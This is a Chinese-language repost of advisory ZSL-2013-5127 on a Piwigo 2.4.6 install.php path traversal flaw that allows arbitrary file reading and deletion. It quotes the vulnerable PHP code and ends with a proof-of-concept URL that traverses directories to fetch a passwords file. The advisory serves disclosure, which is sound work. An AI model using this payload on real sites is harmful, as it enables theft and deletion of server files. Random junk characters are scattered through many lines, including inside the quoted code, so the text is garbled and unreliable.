Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
-------------
% ?$ C8 a) n6 w) t+ r; h9 ^113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
0 C( U: T6 F" B6 F6 R$ {) @8 l- P$ s& N115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
; i) p$ ~: F+ `9 f# b! h4 z, H* g117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
$ m! W  w- M  [& [9 E! M119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
# x$ `5 P  n- l8 J/ h           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
8 L4 n2 R$ m$ b                            @zeroscience
/ t! X1 N2 S! |
Advisory ID: ZSL-2013-5127
! s% U6 \7 C2 g3 sAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

  I% b, }! e; R; I; R& Y15.02.2013

1 }; N1 l: p- V: a--
3 ]6 u3 m! z+ R- b7 C& chttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

- T9 C3 H- c& c! g6 N" c2 }